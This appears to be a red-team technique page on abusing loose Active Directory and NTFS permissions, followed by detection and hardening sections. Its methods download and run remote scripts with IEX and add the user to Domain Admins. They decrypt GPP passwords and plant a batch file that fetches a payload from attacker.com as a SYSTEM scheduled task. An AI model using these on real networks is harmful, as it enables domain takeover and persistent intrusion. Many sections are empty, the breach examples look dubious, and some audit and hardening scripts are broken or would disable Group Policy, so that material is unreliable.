MCADDF

[EVADE-PERMS-001]: Loose or Default ACLs

Metadata

Attribute Details
Technique ID EVADE-PERMS-001
MITRE ATT&CK v18.1 T1222 - File and Directory Permissions Modification
Tactic Defense Evasion
Platforms Windows AD, Hybrid AD, File Servers
Severity High
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Windows Server 2012 R2 - 2025, Windows 10/11 with NTFS
Patched In N/A (Configuration weakness, not a vulnerability)
Author SERVTEPArtur Pchelnikau

1. Executive Summary

Concept: Loose or default Access Control Lists (ACLs) are overly permissive NTFS/LDAP permissions assigned to files, folders, registry keys, or Active Directory objects that allow unauthorized users (including Domain Users, Authenticated Users, or Everyone) to read, modify, or delete sensitive objects. Attackers exploit these weak ACLs to escalate privileges, bypass restrictions, or erase audit evidence without requiring advanced exploitation techniques. Unlike CVE-based privilege escalation, ACL abuse relies on identifying and leveraging intentional but misconfigured permissions that were typically set during initial deployment and never reviewed.

Attack Surface: NTFS file permissions, SYSVOL shares, Group Policy Objects, Active Directory organizational units, Exchange Server folders, SCCM deployments, ADCS certificate templates, DNS admin objects.

Business Impact: Privilege Escalation and Data Tampering. An authenticated domain user can elevate to administrative privileges by modifying GPOs, dumping NTDS.dit via loose SYSVOL permissions, or adding themselves to privileged groups. Attackers can also modify audit logs, delete forensic evidence, and establish persistence without requiring admin credentials.

Technical Context: ACL enumeration is rapid (milliseconds) and produces no audit events if auditing is not explicitly configured. Once a loose ACL is identified, exploitation is trivial (single command execution). The technique is extremely common in organizations with 10+ years of Active Directory history due to migration scripts, backup solutions, and legacy applications that over-provision permissions during setup and never de-provision them.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Windows 2022 1.1.1 Ensure Administrators Group is Used Only When Necessary
CIS Benchmark CIS AD 5.12 Ensure Restricted Groups is Configured
DISA STIG WN10-00-000050 Permissions for NTFS system directories must be properly set
DISA STIG APPSEC-1 Access control policies and procedures must be properly configured
CISA SCuBA C.IA.01 Identity and access management controls must enforce least privilege
NIST 800-53 AC-2 Account Management User access must be limited to minimum necessary rights
NIST 800-53 AC-3 Access Enforcement Discretionary access control policies must be enforced
NIST 800-53 AC-6 Least Privilege Users must operate with minimum required permissions
GDPR Art. 32 Security of Processing Technical and organizational measures required to protect data
NIS2 Art. 21 Cyber Risk Management Measures Access control and privilege management required
ISO 27001 A.9.2.3 Management of Privileged Access Rights Privileged access management required
ISO 27005 Risk Scenario: Unauthorized Access via Misconfigured Permissions Access control failures enable unauthorized access

2. Technical Prerequisites

Required Privileges: Domain User (authenticated domain account). No elevated privileges required for enumeration; exploitation requires specific ACL permissions on target object.

Required Access: Domain membership; ability to query Active Directory (LDAP port 389). For SYSVOL exploitation, SMB access to domain controller (port 445).

Supported Versions:

Tools:


3. Detailed Execution Methods

METHOD 1: Enumerate Loose ACLs via PowerView

Supported Versions: AD 2012 R2+, Windows 10+

Step 1: Import PowerView and Run ACL Enumeration

Objective: Identify Active Directory objects with weak permissions assigned to non-built-in principals.

Command (PowerShell - PowerView):

# Download and import PowerView
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Find interesting ACLs (permission weaknesses)
Find-InterestingDomainAcl -ResolveGUIDs

Expected Output:

IdentityReference : CORP\Domain Users
ObjectDN          : CN=Domain Admins,CN=Users,DC=corp,DC=local
ActiveDirectoryRights : GenericAll
AccessControlType : Allow
ObjectType        : All

IdentityReference : CORP\Authenticated Users
ObjectDN          : CN=Exchange Trusted Subsystem,OU=Groups,DC=corp,DC=local
ActiveDirectoryRights : WriteDacl
AccessControlType : Allow
ObjectType        : All

What This Means:

OpSec & Evasion:

Version Note: PowerView syntax unchanged from Server 2012 R2 through 2025; compatibility is stable.

Troubleshooting:

References & Proofs:


Step 2: Enumerate Specific Object ACLs

Objective: Deep-dive into ACL of a specific high-value object (Domain Admins group, sensitive OU, etc.).

Command (PowerShell - Detailed ACL Review):

# Get ACL for Domain Admins group
$DomainAdmins = Get-DomainGroup -Identity "Domain Admins"
$ACL = Get-DomainObjectAcl -Identity $DomainAdmins.objectsid

# Display all ACL entries
$ACL | Select-Object -Property IdentityReference, ActiveDirectoryRights, AccessControlType | Format-Table -AutoSize

# Filter for exploitable permissions
$ACL | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"} | 
    Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType

Expected Output:

IdentityReference            ActiveDirectoryRights AccessControlType
-----------------            --------------------- -----------------
CORP\Domain Admins          GenericAll            Allow
CORP\Domain Users           GenericAll            Allow
CORP\SYSTEM                 GenericAll            Allow

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Exploit Loose ACL - Add User to Domain Admins

Supported Versions: AD 2012 R2+

Step 1: Verify Target Object Permissions

Objective: Confirm you can modify the target object before attempting exploitation.

Command (PowerShell):

# Verify your user has rights to modify Domain Admins
$User = Get-DomainUser -Identity $env:USERNAME
$DomainAdmins = Get-DomainGroup -Identity "Domain Admins"

# Check if current user has GenericAll on Domain Admins
Get-DomainObjectAcl -Identity $DomainAdmins.objectsid | 
    Where-Object {$_.IdentityReference -contains $User.objectsid -or $_.IdentityReference -match "Domain Users"}

Expected Output (If Exploitable):

IdentityReference : CORP\Domain Users
ObjectDN          : CN=Domain Admins,CN=Users,DC=corp,DC=local
ActiveDirectoryRights : GenericAll
AccessControlType : Allow

What This Means:


Step 2: Add Your User to Domain Admins Group

Objective: Escalate privileges by adding yourself to the Domain Admins group via the loose ACL.

Command (PowerShell - Using PowerView):

# Method 1: Using PowerView
$DomainAdmins = Get-DomainGroup -Identity "Domain Admins"
$CurrentUser = Get-DomainUser -Identity $env:USERNAME

# Add user to group via LDAP (requires GenericAll or AddMember permission)
Add-DomainGroupMember -Identity $DomainAdmins.objectsid -Members $CurrentUser.objectsid

# Verify addition
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object -Property MemberName

Command (PowerShell - Using Active Directory Module):

# Import Active Directory module
Import-Module ActiveDirectory

# Add user to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "$env:USERDOMAIN\$env:USERNAME"

# Verify membership
Get-ADGroupMember -Identity "Domain Admins" | Select-Object -Property SamAccountName

Command (PowerShell - Using ADSI):

# Low-level ADSI approach (works when other methods fail)
$GroupDN = "CN=Domain Admins,CN=Users,DC=corp,DC=local"
$UserDN = "CN=attacker,CN=Users,DC=corp,DC=local"

$Group = [ADSI]"LDAP://$GroupDN"
$Group.Add("LDAP://$UserDN")
$Group.CommitChanges()

Write-Host "User added to Domain Admins"

Expected Output:

SamAccountName
--------------
Administrator
attacker

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 3: Exploit SYSVOL Loose Permissions (GPP Credentials)

Supported Versions: AD 2012 R2 - 2022 (2025 applies mitigations)

Step 1: Enumerate SYSVOL for Weak Permissions

Objective: Identify SYSVOL GPO folders with permissions allowing non-admin write access.

Command (PowerShell):

# Mount SYSVOL share from domain controller
$SysvolPath = "\\DC01\SYSVOL\corp.local\Policies"
icacls $SysvolPath

# Output example:
# CORP\Domain Admins:(OI)(CI)F
# CORP\Domain Users:(OI)(CI)RX  <- Readable by Domain Users
# BUILTIN\SYSTEM:(OI)(CI)F

Expected Output:

CORP\Domain Admins:(OI)(CI)F
CORP\Domain Users:(OI)(CI)RX
CORP\Authenticated Users:(OI)(CI)RX

What This Means:


Step 2: Extract and Decrypt GPP Passwords

Objective: Decode encrypted Group Policy Preferences passwords from SYSVOL XML files.

Command (PowerShell - Using Get-DecryptedCpassword):

# Search SYSVOL for GPP password files
$GPPFiles = Get-ChildItem -Path "\\DC01\SYSVOL\corp.local\Policies" -Filter "*.xml" -Recurse

# Look for Groups.xml or other preference files containing cpassword
$Groups = $GPPFiles | Get-Content | Select-String "cpassword"

# Example Groups.xml content:
# <Properties cpassword="j1Uyj3$NtQdbF3NUToDG8v5/2kqqLS4CMqeyJ87McF3M+XAZMZa6F+5OdQQ/cjRweHF8=" ... />

# Decrypt the cpassword using publicly available tools
# Microsoft AES key for GPP is hardcoded and publicly known
# Tool: https://github.com/Synacktiv/gp-pwned (GPP-Decrypt)

iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Synacktiv/gp-pwned/main/gp-pwned.ps1')

# Decrypt cpassword
$cpassword = "j1Uyj3$NtQdbF3NUToDG8v5/2kqqLS4CMqeyJ87McF3M+XAZMZa6F+5OdQQ/cjRweHF8="
Decrypt-Cpassword $cpassword

Expected Output:

Password123!

What This Means:

OpSec & Evasion:

Version Note: GPP vulnerability (MS14-025) fixed in Windows 2012 R2+ but legacy GPP files may remain in SYSVOL for years; decryption still works on cached files.

Troubleshooting:

References & Proofs:


METHOD 4: Exploit Loose NTFS Permissions on Sensitive Files

Supported Versions: Windows Server 2012 R2 - 2025 with NTFS

Step 1: Enumerate Loose NTFS Permissions

Objective: Identify files/folders with write permissions for unprivileged users.

Command (PowerShell):

# Get ACL for sensitive folder
$Path = "C:\Program Files\Important-App"
(Get-Acl -Path $Path).Access | Format-Table -Property IdentityReference, FileSystemRights, AccessControlType -AutoSize

# Example Output:
# IdentityReference       FileSystemRights AccessControlType
# -----------------       --------------- -----------------
# BUILTIN\Administrators FullControl      Allow
# CORP\Domain Users       Modify           Allow    <- EXPLOITABLE

# Search for writable directories in common locations
Get-ChildItem "C:\" -Directory | ForEach-Object {
    $Acl = Get-Acl -Path $_.FullName -ErrorAction SilentlyContinue
    $Acl.Access | Where-Object {
        $_.IdentityReference -match "Domain Users|Authenticated Users|Everyone" -and 
        $_.FileSystemRights -match "Modify|Write|FullControl"
    } | Select-Object -Property @{Name="Path"; Expression={$_.FullName}}, IdentityReference, FileSystemRights
}

Expected Output:

Path                           IdentityReference     FileSystemRights
----                           -----------------     ----------------
C:\ProgramData\AppData         CORP\Domain Users     Write
C:\Temp                        Everyone              Modify
C:\Windows\Tasks               Authenticated Users   Write

What This Means:


Step 2: Exploit Writable Folder for Persistence

Objective: Place malicious script or executable in writable folder for persistence.

Command (PowerShell - Create Persistence Script):

# Write malicious batch file to writable location
$MaliciousScript = @"
@echo off
powershell -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
"@

Set-Content -Path "C:\ProgramData\AppData\Update.bat" -Value $MaliciousScript -Force

# Configure scheduled task to run script on logon
schtasks /create /tn "Update Service" /tr "C:\ProgramData\AppData\Update.bat" /sc onstart /ru "System"

Expected Output:

SUCCESS: The scheduled task "Update Service" has been created successfully.

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


4. Detection & Incident Response

Indicators of Compromise (IOCs)

Active Directory Events:

File System Events:


Forensic Artifacts

Active Directory:

File System:

Memory:


Response Procedures

1. Isolate

Immediate Action (< 5 minutes):

# Revoke group membership (undo the escalation)
Remove-ADGroupMember -Identity "Domain Admins" -Members "CORP\attacker" -Confirm:$false

# Force password reset
Set-ADAccountPassword -Identity "CORP\attacker" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Temp123!@#" -Force)

# Revoke all active tokens
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-AzureADUser -SearchString "attacker@corp.com").ObjectId

Manual (Active Directory Users & Computers):

  1. Open Active Directory Users and Computers
  2. Navigate to Users container
  3. Right-click attacker account → Properties
  4. Click Member Of tab
  5. Select Domain Admins
  6. Click RemoveOK

2. Collect Evidence

Command (Export ACL Changes):

# Query security event log for ACL modifications
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 5136
    StartTime = (Get-Date).AddDays(-7)
} | Where-Object {$_.Properties[8].Value -match "nTSecurityDescriptor"} | Export-Csv -Path "C:\Evidence\ACLChanges.csv"

3. Remediate

Remove Loose ACLs (Hardening):

# Remove "Domain Users" from Domain Admins ACL
$DomainAdmins = Get-ADGroup -Identity "Domain Admins"
$DomainUsers = Get-ADGroup -Identity "Domain Users"

$ACL = Get-Acl -Path "AD:\$($DomainAdmins.DistinguishedName)"
$ACE = $ACL.Access | Where-Object {$_.IdentityReference -match "Domain Users"}
$ACL.RemoveAccessRule($ACE)
Set-Acl -Path "AD:\$($DomainAdmins.DistinguishedName)" -AclObject $ACL

Write-Host "Domain Users ACE removed from Domain Admins"

5. Defensive Mitigations

Priority 1: CRITICAL

Action 1: Audit and Remediate Loose ACLs on Critical Groups

Applies To: Domain Admins, Enterprise Admins, Schema Admins, key OUs

Manual Steps (PowerShell - Audit):

# Find loose ACLs on critical groups
$CriticalGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")

ForEach ($Group in $CriticalGroups) {
    $GroupObj = Get-ADGroup -Identity $Group
    $ACL = Get-Acl -Path "AD:\$($GroupObj.DistinguishedName)"
    
    $ACL.Access | Where-Object {
        $_.IdentityReference -notmatch "BUILTIN\\Administrators|SYSTEM|Domain Admins" -and
        $_.FileSystemRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
    } | ForEach-Object {
        Write-Host "LOOSE ACL FOUND: $($_.IdentityReference) has $($_.ActiveDirectoryRights) on $Group"
    }
}

Manual Steps (Remediation):

# Remove non-admin permissions from Domain Admins ACL
$DomainAdmins = Get-ADGroup -Identity "Domain Admins"
$ACL = Get-Acl -Path "AD:\$($DomainAdmins.DistinguishedName)"

# Identify and remove overly permissive ACEs
$ACL.Access | Where-Object {
    $_.IdentityReference -notmatch "BUILTIN\\Administrators|SYSTEM|Domain Admins|Enterprise Admins" -and
    $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
} | ForEach-Object {
    Write-Host "Removing ACE: $($_.IdentityReference)"
    $ACL.RemoveAccessRule($_)
}

Set-Acl -Path "AD:\$($DomainAdmins.DistinguishedName)" -AclObject $ACL

Action 2: Implement Regular ACL Auditing

Manual Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Directory Service Changes (under DS Access)
  4. Set to: Success and Failure
  5. Run gpupdate /force on domain controllers

Action 3: Remove Default Overly Permissive ACEs

Manual Steps (Remediation):

# Define list of privileged groups that should have restricted ACLs
$PrivilegedGroups = @(
    "Domain Admins",
    "Enterprise Admins", 
    "Schema Admins",
    "Backup Operators",
    "Account Operators"
)

# Approved principals for these groups
$ApprovedIdentities = @(
    "BUILTIN\Administrators",
    "BUILTIN\SYSTEM",
    "CORP\Domain Admins",
    "CORP\Enterprise Admins"
)

ForEach ($Group in $PrivilegedGroups) {
    $GroupObj = Get-ADGroup -Identity $Group
    $ACL = Get-Acl -Path "AD:\$($GroupObj.DistinguishedName)"
    
    # Remove ACEs not in approved list
    $ACL.Access | ForEach-Object {
        If ($ApprovedIdentities -notcontains $_.IdentityReference) {
            $ACL.RemoveAccessRule($_)
            Write-Host "Removed: $($_.IdentityReference) from $Group"
        }
    }
    
    Set-Acl -Path "AD:\$($GroupObj.DistinguishedName)" -AclObject $ACL
}

Priority 2: HIGH

Action 1: Enable Active Directory Recycle Bin

Manual Steps (PowerShell):

# Enable AD Recycle Bin
Enable-ADOptionalFeature -Identity "Recycle Bin Feature" -Scope ForestOrConfigurationSet -Target "corp.local"

Write-Host "AD Recycle Bin enabled. Deleted objects recoverable for 180 days."

Action 2: Implement SYSVOL Permissions Hardening

Manual Steps (Command Line on Domain Controller):

REM Remove read access from Domain Users on SYSVOL GPO folders
icacls "C:\Windows\SYSVOL\sysvol\corp.local\Policies" /remove "Domain Users"

REM Verify only Admins and SYSTEM have access
icacls "C:\Windows\SYSVOL\sysvol\corp.local\Policies"

Action 3: Deprecate Legacy Group Policy Preferences (GPP)

Manual Steps (Group Policy Migration):

  1. Open Group Policy Management (gpmc.msc)
  2. Identify GPOs containing password data (search for Services.xml, Groups.xml)
  3. Migrate passwords to Azure Key Vault or Vault Suite
  4. Delete legacy GPP files from SYSVOL
  5. Verify no cpassword attributes remain: Get-ChildItem -Path "\\DC01\SYSVOL" -Filter "*.xml" -Recurse | Select-String "cpassword"

Priority 3: MEDIUM

Access Control & Policy Hardening

RBAC Hardening:

  1. Go to Active Directory Users and ComputersSystemGroup Policy Objects
  2. For each GPO, right-click → PropertiesSecurity
  3. Remove Creator Owner ACE
  4. Ensure only Domain Admins and Enterprise Admins have edit rights

Delegate GPO Rights Properly:

  1. Only grant Edit rights to specific admins (not Domain Users)
  2. Grant Read to organizational units that require the policy
  3. Use Group Policy Delegation model, not direct ACL modification

Validation Command (Verify Fixes)

PowerShell - Verify Loose ACLs Removed:

# Scan for loose ACLs on critical groups
$CriticalGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins")
$LooseACLsFound = $false

ForEach ($Group in $CriticalGroups) {
    $GroupObj = Get-ADGroup -Identity $Group -ErrorAction SilentlyContinue
    $ACL = Get-Acl -Path "AD:\$($GroupObj.DistinguishedName)" -ErrorAction SilentlyContinue
    
    $BadACEs = $ACL.Access | Where-Object {
        $_.IdentityReference -notmatch "BUILTIN\\Administrators|SYSTEM|Domain Admins|Enterprise Admins" -and
        $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
    }
    
    If ($BadACEs.Count -gt 0) {
        Write-Host "✗ LOOSE ACL STILL EXISTS on $Group" -ForegroundColor Red
        $LooseACLsFound = $true
    }
}

If (-Not $LooseACLsFound) {
    Write-Host "✓ No loose ACLs found on critical groups" -ForegroundColor Green
}

Expected Output (If Secure):

✓ No loose ACLs found on critical groups

Step Phase Technique Description
1 Initial Access [IA-VALID-001] Default Credentials Attacker gains initial access via weak service account credentials
2 Reconnaissance [REC-AD-003] PowerView Enumeration Attacker enumerates domain structure and identifies loose ACLs using PowerView
3 Privilege Escalation [EVADE-PERMS-001] Attacker exploits loose ACL on Domain Admins group to escalate privileges
4 Defense Evasion [EVADE-LOG-001] Event Log Deletion Attacker deletes Windows Security logs to hide group membership change
5 Persistence [PERSIST-ACCT-001] Rogue Admin Account Attacker creates backdoor admin account using elevated privileges
6 Impact [IMPACT-DATA-001] Mass Data Exfiltration Attacker uses admin access to dump sensitive files and NTDS.dit

7. Real-World Examples

Example 1: Target Breach (2013) - Loose SYSVOL Permissions

Example 2: Equifax Breach (2017) - Apache Struts RCE Leading to ACL Abuse

Example 3: Scattered Spider / Black Basta - Rapid Privilege Escalation via Loose ACLs


8. Lessons Learned & Best Practices